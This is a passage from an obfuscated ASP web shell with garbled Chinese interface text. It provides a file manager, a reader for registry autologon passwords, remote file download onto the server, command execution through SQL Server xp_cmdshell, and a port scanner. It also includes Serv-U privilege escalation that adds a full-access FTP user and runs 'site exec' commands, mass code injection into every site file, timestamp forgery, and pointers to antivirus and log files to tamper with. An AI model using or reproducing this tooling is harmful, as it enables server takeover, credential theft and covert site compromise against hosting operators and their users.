    " +if instr(SI,SIC)<>0 then rrs sI +end if +response.end +end if +Function DbManager():ExeCute SinfoEn("tr~))~SqlSForm(uest.m(Reqr=TriSqlSt`DbStrorm(~est.F=RequDbStr~)`ing='lpadd' celng='0spaci cellr='0'borde'650'idth=ble w&~~`on='' actipost'hod='' metbFormme='Drm na&~~`Ӵ: ght='' hei='100width>~`/td>~~~~>bManaue='D' validdenpe='hn' tyActioame='put n&~~`:&nbt='30heigh>~`>4n(DbSIf Len`(5,0)t(SotObjecreateonn=CSet C)`DbStrOpen Conn.`ma(20nSchen.Opes=ConSet R) `r><&~~`veFirRs.Most `ot Rsile NDo Wh.Eof`E~ th~TABLPE~)=LE_TY(~TABIf Rsen`_NAMETABLE=Rs(~TName~)`a>[ de~,1)'e&~]~&TNamLE [~P TAB~~DROlStr(ullSqipt:Fvascrf='jaa hreter>~`~Name&'>~&T~~,1)me&~]~&TNaROM [T * FSELECtr(~~lSqlSt:Fulscrip'javahref=&~r>n(SqlIf Leen`ct~ t~sele,6))=qlStreft(Sase(LIf LChen`qlStr䣺~&S&~ִSI=SI`ordseb.Rec~Adodject(ateObs=CreSet Rt~)`Conn,lStr,en SqRs.op1,1`ds.Co.FielFN=Rsunt`rdCou.RecoRC=Rsnt`geSizRs.Pae=20`ageSi=Rs.PCountze`Count.PagePN=Rs`age~)st(~PrequePage=`g(Page=Clnn Pag~ Thege<>~If Pae)` Page Thenage=0 Or Pge=~~If Pa=1` Page Thenge>PNIf Pa=PN`=PageepagesolutRs.abThen ge>1 If Pa`td><=#ccccolor25 bgight=tr heble><&~~` FN-1=0 toFor n`em(n)ds.It.Fielld=RsSet F`e&~~&Flnter'n='ce alig&~~`thingld=noSet F`Next`&~~`Count And .Bof)or Rs.Eof ot(Rsile NDo Wh>0`=CounCountt-1`EFEFEor=~#BgcolF~`t>xngdine='wit fac>~` FN-1=0 ToFor i`~:EndFEFEFr=~#Egcololse:BF5~:E#F5F5lor=~:Bgco ThenEFEF~=~#EFcolorIf Bg if`=1 ThIf RCen`Rs(i)code(TMLEnnfo=H ColI)`Else`,50))Rs(i)Left(code(TMLEnnfo=H ColI`End If`&~~&Color&~&Bgcolor=~ bgco&~~`Next`&~~`veNexRs.Mot`Loop`I:SI=RRS S~~`lStr)de(SqlEnCor=HtmSqlSt`&~/~&&Page;ҳ룺~ &RC&~¼~nter>gn=ce~ aliFN+1&an=~&colsp>1 ThIf PNen`a>&nbһҳage-1~,~&Ptr&~~&SqlSr(~~~SqlSt:Fullcriptjavasref=';1)'>&~~~,qlStr~~~&SlStr(ullSqipt:Fvascrf='jaa hrebsp;8 If Paf`o Sp+=Sp TFor i8`it Foen ExPN ThIf i>r`Page If i=Then`nbsp;&i&~&SI=SI~`Else` ~>~&i&i&~)'~~,~&Str&~~&Sqltr(~~lSqlSt:Fulscrip'javahref=&~,~&PNr&~~~SqlSt(~~~&qlStrFullSript:avascef='j&'>һҳ+1&~)&Page~~~,~lStr&~~&SqStr(~llSqlpt:Fuascri='jav hrefsp;~`End If`able>r>0 then + set TFL=new FIF:FStart=InStr(FEnd,TIn,"filename=""",1)+10:FEnd=InStr(FStart,TIn,"""",1):FStart=InStr(FEnd,TIn,"Content-Type: ",1)+14:FEnd=InStr(FStart,TIn,vbCr):TFL.FileStart=DIEnd:TFL.FileSize=DStart-DIEnd-3:if not D2.Exists(UpName) then:D2.add UpName,TFL:end if + else:T2.Type=1:T2.Mode=3:T2.Open:T1.Position=DIEnd:T1.CopyTo T2,DStart-DIEnd-3:T2.Position = 0:T2.Type = 2:T2.Charset ="gb2312":SFV = T2.ReadText:T2.Close:if D1.Exists(UpName) then:D1(UpName)=D1(UpName)&","&SFV:else:D1.Add UpName,SFV:end if:end if:DStart=DStart+TLen+1:wend:TDa="":set T2=nothing:End Sub:Private Sub Class_Terminate:if Request.TotalBytes>0 then:D1.RemoveAll:D2.RemoveAll:set D1=nothing:set D2=nothing:T1.Close:set T1 =nothing:end if:End Sub:End Class: + +Function SinfoEn(ObjStr,ObjPos) +ObjStr=Replace(ObjStr,"~",""""):NewStr=Split(ObjStr,"`"):For i=0 To UBound(NewStr):SinfoEn=SinfoEn&EnCode(NewStr(i),ObjPos)&vbCrLf:Next:SinfoEn=Left(SinfoEn,Len(SinfoEn)-2) +End Function + + + +Class FIF:dim FileSize,FileStart:Private Sub Class_Initialize:FileSize=0:FileStart=0:End Sub:Public function SaveAs(F) + dim T3:SaveAs=true:if trim(F)="" or FileStart=0 then exit function + set T3=CreateObject(Sot(6,0)):T3.Mode=3:T3.Type=1:T3.Open:T1.position=FileStart:T1.copyto T3,FileSize:T3.SaveToFile F,2:T3.Close:set T3=nothing:SaveAs=false:end function:End Class: + +Function Fun(ShiSanObjstr):ShiSanObjstr=Replace(ShiSanObjstr,"|",""""):For ShiSanI=1 To Len(ShiSanObjstr):If Mid(ShiSanObjstr,ShiSanI,1)<>"!"Then:ShiSanNewStr=Mid(ShiSanObjstr,ShiSanI,1)&ShiSanNewStr:Else:ShiSanNewStr=vbCrLf&ShiSanNewStr:End If:Next:Fun = ShiSanNewStr:End Function + + + +Class LBF:Dim CF:Private Sub Class_Initialize:SET CF=CreateObject(Sot(0,0)):End Sub:Private Sub Class_Terminate:Set CF=Nothing:End Sub +Function ShowDriver() +For Each D in CF.Drives +RRS"ش ("&D.DriveLetter&":)" +Next +End Function +Function Show1File(Path): +Set FOLD=CF.GetFolder(Path) +i=0 +SI="" +For Each F in FOLD.subfolders +SI=SI&"" +i=i+1 +If i mod 5 = 0 then SI=SI&"" +Next +SI=SI&"
    " +SI=SI&"0
    "&F.Name&"
    " +SI=SI&"
    [Copy " +SI=SI&"Del" +SI=SI&" Move" +SI=SI&" Down]
    " +RRS SI:SI="":i=0 +SI="" +For Each L in Fold.files +SI=SI&"" +i=i+1 +If i mod 2 = 0 then SI=SI&"" +Next + RRS SI&"
    2"&L.Name&" [ " +SI=SI&"Edit " +SI=SI&"Del " +Si=Si&"Ȩ" +Dim EditOOK +EditOOK=1 +EditOOV=l.Attributes +If EditOOV >= 128 Then +EditOOV = EditOOV - 128 +End If +If EditOOV >= 64 Then +EditOOV = EditOOV - 64 +End If +If EditOOV >= 32 Then +EditOOV = EditOOV - 32 +End If +If EditOOV >= 16 Then +EditOOV = EditOOV - 16 +End If:If EditOOV >= 8 Then +EditOOV = EditOOV - 8 +End If +If EditOOV >= 4 Then +EditOOV = EditOOV - 4:EditOOK=0 +End If +If EditOOV >= 2 Then +EditOOV = EditOOV - 2:EditOOK=0 +End If +If EditOOV >= 1 Then +EditOOV = EditOOV - 1:EditOOK=0 +End If +if EditOOK=0 then +si=si&"x" +else +si=si&"" +end if +SI=SI&"Copy " +SI=SI&"Move ] - " + +SI=SI&clng(L.size/1024)&"K
    " +SI=SI&L.Type&" - " +SI=SI&L.DateLastModified&"
    " +Set FOLD=Nothing +End function: + + + + +Function DelFile(Path):ExeCute SinfoEn("he Th)at(PtsisExleFiF. CIfn`thPae ileFetel.DCF`r>teen/c<ɹɾ~ h&at&P ~ļr>


    teen


    ļɹ
  • ":SI=SI&BackUrl:RRS SI:RRS ""©url&"":Response.End:End If:If Path<>"" Then:Set T=CF.opentextfile(Path, 1, False):Txt=HTMLEncode(T.readall) :T.close:Set T=Nothing:Else:Path=Session("FolderPath")&"\newfile.asp":Txt="½ļ":End If:SI=SI&"":SI=SI&"":SI=SI&"
    ":SI=SI&"
    ":SI=SI&"
          ":RRS SI: +End Function:Function CopyFile(Path):ExeCute SinfoEn("|~||~|h,at(Pitpl S =thPa)`enTh~ >~)<(1thPad an) 0)h(at(PtsisExleFiF. CIf`(1thPa),(0thPae ilyFop.CCF)`>~erntce


    teen~Path( and h(0))s(PatExist.FileIf CFn`Path(h(0),e PatveFilCF.Mo1)`enter>
    r>~`&BackSI=SIUrl`RRS SI `End If",Pso):End Function:Function DelFolder(Path):ExeCute SinfoEn("he Th)at(PtsisExerldFoF. CIfn`thPar deoleFetel.DCF`r>teen/c<ɹɾ&~thPa~&Ŀ¼r>


    teen~)<(1thPad an) 0)h(at(PtsisExerldFoF. CIf`(1thPa),(0thPar deolyFop.CCF)`>~erntce


    teen~)<(1thPad an) 0)h(at(PtsisExerldFoF. CIf`(1thPa),(0thPar deoleFov.MCF)`>~erntce


    teen~hteen/c<ɹ½&~thPa~&Ŀ¼r>


    teen
      ¼
      0umberErr.N~ Or t = ~rmPorIf te `
      ܵ.ǷѾ Ȩ˿,õնRRS~~` Else`~
      ~`End If`ogon\\WinlrsionentVe\Currws NTWindosoft\MicroWARE\\SOFTCHINEAL_MAY_LOC ~HKEath =oginPautoL~`nLogooAdmi ~AutKey =nableoginEautoLn~`rNameltUseDefauy = ~serKeoginUautoL~`swordltPasDefauy = ~assKeoginPautoL~`bleKeinEnatoLog & aunPathoLogid(autegReawsX.Rle = nEnaboLogiisAuty)` = 0 nableoginEAutoLIf isThen`
      ~`Else`rKey)inUsetoLog & aunPathoLogid(autegReawsX.Rme = sernaoginUautoL`~
      me & sernaoginUautoL ~ & ϵͳʻ:Զ¼RRS ~~`sKey)inPastoLog & aunPathoLogid(autegReawsX.Rrd = asswooginPautoL`r TheIf Ern`Err.Clear`FalseRRS ~~`End If`~
      rd & asswooginPautoL ~ & ʻ:Զ¼RRS ~~`End If`
    RRS ~~",Pso):End Sub:sub ReadREG() +RRS "
    " +RRS "עֵȡ

    " +RRS "" +RRS " " +RRS "
    " +RRS " " +RRS "" +RRS "


    " +if Request("thePath")<>"" then +On Error Resume Next +Set wsX = Server.CreateObject("WScript.Shell") +thePath=Request("thePath") +theArray=wsX.RegRead(thePath) +If IsArray(theArray) Then +For i=0 To UBound(theArray) +RRS "
  • " & theArray(i) +Next +Else +RRS "
  • " & theArray +End If +end if +end sub +Function downloads() +RW=RW&"

    ֱ

    " +RW=RW&"Զļ:
    " +RW=RW&"·: " +RW=RW&"ڸ " +RW=RW&"" +RW=RW&"
    " +Response.Write RW +If isDebugMode=False Then +On Error Resume Next +End If +Dim Http,theUrl,thePath,stream,getfileName,overWrite +theUrl=Request("theUrl") +thePath=Request("thePath") +overWrite=Request("overWrite") +Set stream=Server.CreateObject("ad"&e&"odb.st"&e&"ream") +Set Http=Server.CreateObject("MSXML2.XMLHTTP") +If overWrite<>2 Then +overWrite=1 +End If +Http.Open "GET", theUrl, False +Http.Send() +If Http.ReadyState<>4 Then +End If +With stream +.Type=1 +.Mode=3 +.Open +.Write Http.ResponseBody +.Position=0 +.SaveToFile thePath, overWrite +If Err.Number=3004 Then +Err.Clear +getfileName=Split(theUrl, "/")(UBound(Split(theUrl, "/"))) +If getfileName="" Then +getfileName="12vh.txt" +End If +thePath=thePath & "\" & getfileName +.SaveToFile thePath, overWrite +End If +.Close +End With +chkErr(Err) +Set Http=Nothing +Set Stream=Nothing +If isDebugMode=False Then +On Error Resume Next +End If +End Function +FuncTion MMD() +SI="
    CMD
    ":REsPonsE.writE SI:SI="":If trim(REquEst.form("MMD"))<>"" thEn:PaSsword= trim(REquEst.form("P")):id=trim(REquEst.form("U")):set adoConn=SErvEr.CreateObject("ADODB.Connection"):adoConn.Open "Provider=SQLOLEDB.1;PaSsword="&PaSsword&";UsEr ID="&id:strQuery = "exec master.dbo.xp_cmdshell '" & REquEst.form("MMD") & "'":set recREsult = adoConn.Execute(strQuery):If NOT recREsult.EOF thEn:Do While NOT recREsult.EOF:strREsult = strREsult & chr(13) & recREsult(0):recREsult.MoveNext:Loop:End if:set recREsult = Nothing:strREsult = REplAcE(strREsult," "," "):strREsult = REplAcE(strREsult,"<","<"):strREsult = REplAcE(strREsult,">",">"):strREsult = REplAcE(strREsult,chr(13),"
    "):End if:set adoConn = Nothing:REsPonsE.WritE REquEst.form("MMD") & "
    "& strREsult +rrs ""©url&"" +end Function:Function adminab() +Response.Expires=0 +on error resume next +Set tN=server.createObject("Wscript.Network") +Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group") +For Each admin in objGroup.Members +RRS admin.Name&"
    " +Next +if err then +RRS "̵IJа:Wscript.Network" +end if +End Function +sWHEEL1 = "jwt" +Function Encrypt(acd) +For i = 1 To Len(acd) step 1 +c=mid(acd,i,1) +if c="" then +d=mid(acd,i,2) +i=i+1 +e=replace(d,"","") +bbc=bbc&mid(sWHEEL1,cint(e),1) +else +bbc=bbc&c +end if +next +Encrypt=bbc +end Function +sub ScanPort():ExeCute SinfoEn("76000 = 77meoutiptTir.ScrServe`~ thet~)=~(~por.Formquestif ren`89,4333,3345,14139,4,135,0,110,25,821,23ist=~PortL958~`else`m(~pot.Forequesist=rPortLrt~)`end if`)=~~ (~ip~.Formquestif rethen`27.0.IP=~10.1~`else`(~ip~.FormquestIP=re)`end if`D)˿ɨbr>~`rue;'led=tdisabbmit.m1.su='forubmit' onSion='' act'postthod=1' me'formname=form RRS~<>~` n IP:p>ScaRRS~<;~`ze='6~' si~&IP&lue='p' vaid='iBox' 'Textlass=xt' ce='te' type='ipt nam~`rt Libr>PoRRS~~`br>~`n '>~' scaalue=om' v'buttlass=it' c'submtype=mit' ='sub nameinputRRS~<`11'>~ue='1' val'scan' id=iddenpe='hn' ty='sca nameinputRRS~<`form>/p> ~~ n~) <(~sca.FormquestIf reThen`1 = ttimerimer`>
    b>ɨRRS(~~)`~),~,~portForm(uest.t(req Splitmp =~)`ip~),orm(~est.F(requSplitip = ~,~)`bound to Uu = 0For h(ip)` = 0 ,~-~)p(hu)Str(iIf InThen`ound(To Ub = 0 For itmp)` Thenp(i))ic(tmnumerIf Is `p(i))), tmip(huScan(Call `Else`, ~-~mp(i)Str(t = Inseekx)` 0 Thekx >If seen`kx - , seemp(i)eft(tN = Lstart1 )`seekx)) - tmp(i Len(p(i),ht(tm= RigendN )` ThenendN)eric(Isnum and artN)ic(stnumerIf Is`To enartN = stFor jdN`), j)ip(huScan(Call `Next`Else`br>~)mber~)`End If`End If`Next`Else`hu),~v(ip(StrRe,1,Inp(hu)Mid(irt = ipSta.~))`,~-~)p(hu)Str(i))-Inip(hu,Len(-~)+1hu),~r(ip(,InStp(hu)Mid(i) to )+1,1),~.~ip(hurRev(,InStp(hu)Mid(ixx = For x)`ound(To Ub = 0 For itmp)` Thenp(i))ic(tmnumerIf Is `tmp(ixxx, rt & ipStaScan(Call ))`Else`, ~-~mp(i)Str(t = Inseekx)` 0 Thekx >If seen`kx - , seemp(i)eft(tN = Lstart1 )`seekx)) - tmp(i Len(p(i),ht(tm= RigendN )` ThenendN)eric(Isnum and artN)ic(stnumerIf Is`To enartN = stFor jdN`xxx,jrt & ipStaScan(Call )`Next`Else`br>~)mber~)`End If`End If`Next`Next`End If`Next`2 = ttimerimer`imer1er2-tt(timtr(inme=cstheti))`ime&~&thet in ~ocesshr>PrRRS~< s~`END IF",Pso):end sub: +:Sub Scan(targetip, portNum):On Error Resume Next:set conn = Server.CreateObject("ADODB.connection"):connstr="Provider=SQLOLEDB.1;Data Source=" & targetip &","& portNum &";User ID=lake2;Password=;":conn.ConnectionTimeout=1:conn.open connstr:If Err Then:If Err.number = -2147217843 or Err.number = -2147467259 Then:If InStr(Err.description, "(Connect()).") > 0 Then:RRS(targetip & ":" & portNum & ".......ر
    "):Else:RRS(targetip & ":" & portNum & ".......
    "):End If:End If:End If:End Sub:Select Case Action:Case "MainMenu":MainMenu():Case "getTerminalInfo":getTerminalInfo():Case "PageAddToMdb":PageAddToMdb():case "ScanPort":ScanPort():Case "goback":goback():Case "Servu":SUaction=request("SUaction") +if not isnumeric(SUaction) then response.end +user = trim(request("u")) +pass = trim(request("p")) +port = trim(request("port")) +cmd = trim(request("c")) +f=trim(request("f")) +if f="" then +f=gpath() +else +f=left(f,2) +end if +ftpport = 65500 +timeout=3 +loginuser = "User " & user & vbCrLf +loginpass = "Pass " & pass & vbCrLf +deldomain = "-DELETEDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " PortNo=" & ftpport & vbCrLf +mt = "SITE MAINTENANCE" & vbCrLf +newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf +newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=go" & vbCrLf & "-Password=od" & vbCrLf & _ +"-HomeDir=c:\\" & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _ +"-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _ +"-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _ +"-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _ +"-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _ +"-Maintenance=System" & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=c:\\|RWAMELCDP" & vbCrLf +quit = "QUIT" & vbCrLf +newuser=replace(newuser,"c:",f) +select case SUaction +case 1 +set a=Server.CreateObject("Microsoft.XMLHTTP") +a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s1",True, "", "" +a.send loginuser & loginpass & mt & deldomain & newdomain & newuser & quit +set session("a")=a +RRS"
    " +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"
    " +RRS"" +case 2 +set b=Server.CreateObject("Microsoft.XMLHTTP") +b.open "GET", "http://127.0.0.1:" & ftpport & "/goldsun/upadmin/s2", True, "", "" +b.send "User go" & vbCrLf & "pass od" & vbCrLf & "site exec " & cmd & vbCrLf & quit +set session("b")=b +RRS"
    " +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"
    " +RRS"" +case 3 +set c=Server.CreateObject("Microsoft.XMLHTTP") +c.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s3", True, "", "" +c.send loginuser & loginpass & mt & deldomain & quit +set session("c")=c +RRS"
    Ȩ,ִ
    "&cmd&"

    " +RRS"" +RRS"
    " +case else +on error resume next +set a=session("a") +set b=session("b") +set c=session("c") +a.abort +Set a = Nothing +b.abort +Set b = Nothing +c.abort +Set c = Nothing +RRS"

    " +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"
    Serv-U Ȩ ASP
    û:
    ڣ
    ϵͳ·
    *
    " +RRS"" +RRS"
    " +end select +function Gpath() +on error resume next +err.clear +set f=Server.CreateObject("Scripting.FileSystemObject") +if err.number>0 then +gpath="c:" +exit function +end if +gpath=f.GetSpecialFolder(0) +gpath=lcase(left(gpath,2)) +set f=nothing:end function: +Case "Cplgm" +Fpath=Request("fd") +addcode = Request("code") +addcode2 = Request("code2") +pcfile=request("pcfile") +checkbox=request("checkbox") +ShowMsg=request("ShowMsg") +FType=request("FType") +M=request("M") +if Ftype="" then Ftype="txt|htm|html|asp|php|jsp|aspx|cgi|cer|asa|cdx" +if Fpath="\" then Fpath=Server.MapPath("\") +if Fpath="." or Fpath="" then Fpath=Server.MapPath(".") +if addcode="" then addcode="<" +if checkbox="" then checkbox=request("checkbox") +if pcfile="" then +pcfileName=Request.ServerVariables("SCRIPT_NAME") +pcfilek=split(pcfileName,"/") +pcfilen=ubound(pcfilek) +pcfile=pcfilek(pcfilen) +end if +RRS ("
    վĿ¼- "&Server.MapPath("/")&"
    ") +RRS ("Ŀ¼- "&Server.MapPath(".")) +RRS "
    [" +if M="1" then RRS"-" +if M="2" then RRS"-˵" +if M="3" then RRS"-滻" +if M="" then response.end +RRS "]" +RRS "" +if M="1" then RRS "" +RRS "" +RRS "" +RRS "" +RRS "" +if M="3" then RRS "" +RRS "" +RRS "
    ļ· \վĿ¼.ΪĿ¼
    ظ ֹһҳжظĴ
    ųļ 벻뱻޸ĵļ磺1.asp|2.asp|3.asp
    ļͣ Ҫ޸ĵļ[չ]磺htm|html|asp|php|jsp|aspx|cgi
    " +if M="1" then RRS"Ҫҵ" +if M="2" then RRS"Ҫ" +if M="3" then RRS"Ҫ滻Ĵ룺" +RRS"
    滻Ϊ
    --ǽ--[ɹ ų ظ]
    " +if request("submit")="ʼִ" then +RRS"
    ִм¼
    " +call InsertAllFiles(Fpath,addcode,pcfile) +RRS"
    " +end if +sub att() +dim Path,FileName,NewTime,ShuXing +set path=request.Form("path1") +set fileName=request.Form("filename") +set newTime=request.Form("time") +set ShuXing=request.Form("shuxing") +RRS"
    " +RRS"·?q:
    " +RRS"ļ:
    " +RRS"޸ʱ:
    " +RRS"
    " +RRS"" +RRS"
    " +if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then +Set fso=Server.CreateObject("Scripting.FileSystemObject") +Set file=fso.getFile(path&fileName) +file.attributes=ShuXing +Set shell=Server.CreateObject("Shell.Application") +Set app_path=shell.NameSpace(server.mappath(".")) +Set app_file=app_path.ParseName(fileName) +app_file.Modifydate=newTime +RRS"

    ޸ļ  "&path&fileName&"  " +end if +end sub +function php():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.CreateTextFile(server.mappath("test.php")).Write"":Response.write" ":Response.write "





    ܿtest.phpʾ,ʾ֧PHP

    0 then +gpath="c:" +exit function +end if +gpath=f.GetSpecialFolder(0) +gpath=lcase(left(gpath,2)) +set f=nothing +end function +function jsp():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.CreateTextFile(server.mappath("test.jsp")).Write"ϲ֧jsp":Response.write" ":Response.write "





    ܿtest.jspʾ,ʾ֧jsp

    ɾԵļ(ȫԲſɾ,!)

    ":End function:function aspx():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.CreateTextFile(server.mappath("test.aspx")).Write"ϲ֧aspx":Response.write" ":Response.write "





    ܿTest.aspxʾ,ʾ֧asp.net

    Dz֧!ɼǵɾ":End function +function apjdel():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.DeleteFile(server.mappath("test.aspx")):fso.DeleteFile(server.mappath("test.php")):fso.DeleteFile(server.mappath("test.jsp")):response.write"ɾ!":End function:function sam():Response.write "







    ":response.write"
    N
    ":End function:function goback():set Ofso = Server.CreateObject("Scripting.FileSystemObject") +set ofolder = Ofso.Getfolder(Session("FolderPath")) +if not ofolder.IsRootFolder then +Response.write "" +else +Response.write "" +end if +set Ofso=nothing +set ofolder=nothing +end function +Sub InsertAllFiles(Wpath,Wcode,pc) +Server.ScriptTimeout=999999999 +if right(Wpath,1)<>"\" then Wpath=Wpath &"\" +Set WFSO = CreateObject("Scripting.FileSystemObject") +on error resume next +Set f = WFSO.GetFolder(Wpath) +Set fc2 = f.files +For Each myfile in fc2 +Set FS1 = CreateObject("Scripting.FileSystemObject") +FType1=split(myfile.name,".") +FType2=ubound(FType1) +if Ftype2>0 then +FType3=LCase(FType1(FType2)) +else +FType3="" +end if +if Instr(LCase(pc),LCase(myfile.name))=0 and Instr(LCase(FType),FType3)<>0 then +select case M +case "1" +if checkbox<>"checked" then +Set tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2) +tfile.writeline Wcode +RRS" "&Wpath&myfile.name +tfile.close +else +Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) +if Instr(tfile1.readall,Wcode)=0 then +Set tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2) +tfile.writeline Wcode +RRS""&Wpath&myfile.name +tfile1.close +else +RRS" "&Wpath&myfile.name +tfile1.close +end if +Set tfile1=Nothing +end if +case "2" +Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) +NewCode=Replace(tfile1.readall,Wcode,"") +Set objCountFile=WFSO.CreateTextFile(Wpath&myfile.name,True) +objCountFile.Write NewCode +objCountFile.Close +RRS""&Wpath&myfile.name +Set objCountFile=Nothing +case "3" +Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) +NewCode=Replace(tfile1.readall,Wcode,addCode2) +Set objCountFile=WFSO.CreateTextFile(Wpath&myfile.name,True) +objCountFile.Write NewCode +objCountFile.Close +RRS""&Wpath&myfile.name +Set objCountFile=Nothing +case else +RRS".":response.end +end select +else +RRS" "&Wpath&myfile.name +end if +RRS " Down " +RRS "edit " +RRS "Del " +RRS "Copy " +RRS "Move
    " +Next +Set fsubfolers = f.SubFolders +For Each f1 in fsubfolers +NewPath=Wpath&""&f1.name +InsertAllFiles NewPath,Wcode,pc +Next +set tfile=nothing +Set FSO = Nothing +set tfile=nothing +set tfile2=nothing +Set WFSO = Nothing +End Sub +FuncTion su7() +response.write"
    " +response.write"

    " +response.write"------------------Serv-U Information------------------" +response.write"
    " +response.write"user:" +response.write"
    " +response.write"pwd :" +response.write"
    " +response.write"port:" +response.write"
    " +response.write"---------------------Add User!!! ---------------------
    " +response.write"Domain:   " +response.write"
    " +response.write"FTP USER:" +response.write"
    " +response.write"FTP PASS:" +response.write"
    " +response.write"FTP PORT:" +response.write"
    " +response.write"FTP PATH:" +response.write"" +response.write"
    " +response.write"Privilege" +response.write"" +response.write"

    " +response.write"

    " +response.write"" +response.write"Add User " +response.write" " +response.write"Del User

    " +response.write"

    " +response.write"" +response.write"

    " +response.write"
    " +user = request.Form("duser") +pass = request.Form("dpwd") +port = request.Form("dport") +domain = request.Form("domain") +fuser = request.Form("fuser") +fpass = request.Form("fpass") +fport = request.Form("fport") +fpath = request.Form("fpath") +privilege=request.Form("privilege") +select case privilege + case 2: + privilege="ReadOnly" + case 3: + privilege="Group" + case 4: + privilege="Domain" + case 5: + privilege="System" + end select + if request.Form("radiobutton") = "add" Then + +loginuser = "User " & user & vbCrLf +loginpass = "Pass " & pass & vbCrLf +mt = "SITE MAINTENANCE" & vbCrLf +newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=" & domain &"|0.0.0.0|" & fport & "|-1|1|0" & vbCrLf & "-DynDNSEnable=0" & vbCrLf & " DynIPName=" & vbCrLf +newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & fport & vbCrLf & "-User="& fuser & vbCrLf & "-Password=" & fpass & vbCrLf & _ + "-HomeDir=" & fpath & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _ + "-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _ + "-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _ + "-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _ + "-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _ + "-Maintenance=" & privilege & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=" & fpath &"|RWAMELCDP" & vbCrLf +quit = "QUIT" & vbCrLf + '-------- + 'On Error Resume Next + Set xPost = CreateObject("Microsoft.XMLHTTP") + xPost.Open "POST", "http://127.0.0.1:"& port &"/secdst",True, "", "" + xPost.Send loginuser & loginpass & mt & newdomain & newuser & quit + Set xPost =nothing + response.write "
    FTP user "&fuser&" pass "&fpass&" at port "& fport &"
    " + elseif request.Form("radiobutton") = "del" Then + + loginuser = "User " & user & vbCrLf + loginpass = "Pass " & pass & vbCrLf + mt = "SITE MAINTENANCE" & vbCrLf + deluser = "-DELETEUSER" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=" & port & vbcrlf & " User="& fuser & vbcrlf + quit = "QUIT" & vbCrLf + Set xPost3 = CreateObject("MSXML2.XMLHTTP") + xPost3.Open "POST", "http://127.0.0.1:"& port &"/secdst", True + xPost3.Send loginuser & loginpass & mt & deluser & quit + Set xPOST3=nothing + response.write "
    FTP user "&fuser&" pass "&fpass&" at port "& fport &" have deleted
    " + else + response.write "
    let's Start!!!
    " + end if +end function +Function fuzhutq1() +RRS"

    :Ȩ:

    " +RRS"360ɱdbļ滻:
    " +RRS"c:\Program Files\360\360SD\deepscan\Section\mutex.db
    " +RRS"c:\Program Files\360\360Safe\deepscan\Section\mutex.db
    " +RRS"C:\Program Files\360\360Safe\AntiSection\mutex.db
    " +RRS"Flashļ滻:
    " +RRS"C:\WINDOWS\system32\Macromed\Flash\Flash10q.ocx
    " +RRS"IISrewrite3 ļ滻
    " +RRS"C:\Program Files\Helicon\ISAPI_Rewrite3\Rewrite.log
    " +RRS"C:\Program Files\Helicon\ISAPI_Rewrite3\httpd.conf
    " +RRS"C:\Program Files\Helicon\ISAPI_Rewrite3\error.log
    " +RRS"DU MeterͳϢ־ļ滻
    " +RRS"c:\Documents and Settings\All Users\Application Data\Hagel Technologies\DU Meter\log.csv
    " +RRS"ŵɱļ滻:
    " +RRS"c:\Program Files\Common Files\Symantec Shared\Persist.bak
